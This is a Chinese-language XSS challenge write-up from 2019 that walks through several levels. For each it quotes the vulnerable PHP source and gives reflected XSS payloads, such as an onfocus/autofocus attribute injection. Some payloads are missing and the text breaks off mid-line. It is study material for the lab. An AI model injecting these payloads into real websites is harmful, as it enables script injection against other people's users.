2019-01-03-xss_challenge

1.第一题没啥拦截和编码,直接显示,源代码如下:

ini_set("display_errors", 0); $str = $_GET["name"]; echo "欢迎用户".$str.""; payload:

2019-01-03-xss_challenge
文章图片
p1
2019-01-03-xss_challenge
文章图片
p2 2.第二题的源代码如下:
$str = $_GET["keyword"]; echo "没有找到和".htmlspecialchars($str)."相关的结果."."
payload:">"这是直接把前面标签闭合的意思

可以看到进行html特殊字符的编码,经过测试以后发现,浏览器进行所谓的URL编码,然后发送到服务器端解码以后进行HTML实体编码,对',",<,>,&符号进行编码,注意单引号编码不是默认的,然后返回前端被浏览器解析,还原成xss payload弹窗,所以这是html编码只能防范存储型漏洞的意思?

2019-01-03-xss_challenge
文章图片
p3
【2019-01-03-xss_challenge】先看下去
3.第三题源码如下:
$str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "没有找到和".htmlspecialchars($str)."相关的结果.".' payload: 123456' onfocus=alert(document.domain) autofocus//查了一下,网上说这个autofocus是当页面加载时自动获得焦点,然后onfocus是指定获得焦点时应该触发的事件.

显然是做了代替,去掉了所有的大于小于号,那就只能用事件触发了.
4.第四道同三
5.源代码如下:
$str = strtolower($_GET["keyword"]); $str2=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".' payload:1">